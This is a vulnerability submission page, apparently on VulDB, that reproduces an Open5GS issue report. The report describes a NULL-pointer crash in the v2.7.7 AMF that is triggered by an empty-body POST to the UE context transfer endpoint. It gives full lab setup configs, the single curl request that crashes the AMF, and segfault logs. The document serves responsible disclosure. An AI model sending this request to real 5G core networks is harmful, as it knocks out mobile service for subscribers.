Soumettre #891891: Open5GS AMF v2.7.7 Denial of Service

Open5GS Release, Revision, or Tag
v2.7.7

Description
AMF crashes when it receives an empty-body
POST /namf-comm/v1/ue-contexts/{ueContextId}/transfer request for a valid
ueContextId.

The generic SBI parser accepts an empty body and returns success, leaving
UeContextTransferReqData == NULL. The transfer handler then dereferences
recvmsg->UeContextTransferReqData->reason without checking that the request
object exists.

This requires a valid UE context ID, so I reproduced it after registering a UE
through UERANSIM against the live Docker deployment.

Steps to reproduce
Start the official Open5GS v2.7.7 Docker deployment.
Ensure there is a subscriber in MongoDB. In my live setup I used:
IMSI: 001011234567891
K: 00000000000000000000000000000000
OPC: 00000000000000000000000000000000
AMF: 8000
DNN: internet
S-NSSAI: SST=1, SD=1
Start a UERANSIM gNB on the same Docker network. I used this config:
linkIp: 10.33.33.20
ngapIp: 10.33.33.20
gtpIp: 10.33.33.20
ignoreStreamIds: true
mcc: '001'
mnc: '01'
nci: '0x000000010'
idLength: 32
tac: 1
amfConfigs:
- address: 10.33.33.9
port: 38412
slices:
- sst: 1
sd: 1
Example run command:

docker run -d --name ueransim-gnb --network open5gs --ip 10.33.33.20 \
-v /path/to/gnb.yaml:/ueransim/config/gnb.yaml:ro \
free5gc/ueransim:latest ./nr-gnb -c /ueransim/config/gnb.yaml
Start a UERANSIM UE. I used this config:
supi: 'imsi-001011234567891'
mcc: '001'
mnc: '01'
key: '00000000000000000000000000000000'
op: '00000000000000000000000000000000'
opType: 'OPC'
amf: '8000'
protectionScheme: 0
homeNetworkPublicKey: '0000000000000000000000000000000000000000000000000000000000000000'
homeNetworkPublicKeyId: 1
routingIndicator: '0000'
imei: '356938035643803'
imeiSv: '4370816125816151'
gnbSearchList:
- 10.33.33.20
uacAic:
mps: false
mcs: false
uacAcc:
normalClass: 0
class11: false
class12: false
class13: false
class14: false
class15: false
configured-nssai:
- sst: 1
sd: 1
default-nssai:
- sst: 1
sd: 1
sessions:
- type: 'IPv4'
apn: 'internet'
slice:
sst: 1
sd: 1
integrity:
IA1: true
IA2: true
IA3: true
ciphering:
EA1: true
EA2: true
EA3: true
integrityMaxRate:
uplink: full
downlink: full
Example run command:

docker run -d --name ueransim-ue --network open5gs --ip 10.33.33.21 \
--cap-add NET_ADMIN --device /dev/net/tun:/dev/net/tun \
-v /path/to/ue.yaml:/ueransim/config/ue.yaml:ro \
free5gc/ueransim:latest ./nr-ue -c /ueransim/config/ue.yaml -r
Wait until the UE is fully registered. In my setup the valid UE context ID
on the AMF side became imsi-001011234567891.
Send an empty-body transfer request:
curl --http2-prior-knowledge -m 5 -sS -i \
-X POST http://10.33.33.9/namf-comm/v1/ue-contexts/imsi-001011234567891/transfer
Check the AMF container state and logs:
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' amf
docker logs --tail 80 amf
Logs
UERANSIM v3.2.7
[nas] Initial Registration is successful
[nas] PDU Session establishment is successful PSI[1]
curl: (56) Recv failure: Connection reset by peer
exited 139 2026-04-10T15:33:18.720976922Z
04/10 15:32:45.909: [gmm] INFO: [imsi-001011234567891] Registration complete
/usr/local/bin/entrypoint.sh: line 10: 7 Segmentation fault (core dumped) open5gs-amfd "${@}"
Expected behaviour
AMF should reject the request with a normal HTTP error such as 400 Bad Request
because the body is missing, and the AMF process should remain running.

Observed Behaviour
The TCP connection is reset immediately, no HTTP error response is returned,
and the AMF process exits with code 139 due to a segmentation fault.

eNodeB/gNodeB
UERANSIM gNB v3.2.7

UE Models and versions
UERANSIM UE v3.2.7

• La source: ⚠️ https://github.com/open5gs/open5gs/issues/4397
• Utilisateur: ZiyuLin (UID 93568)
• Soumission: 15/07/2026 15:32 (il y a 2 mois)
• Modérer: 30/08/2026 08:10 (2 months later)
• Statut: Accepté
• Entrée VulDB: 397083 [Open5GS jusqu’à 2.7.7 Transfer Endpoint src/amf/namf-handler.c déni de service]
• Points: 20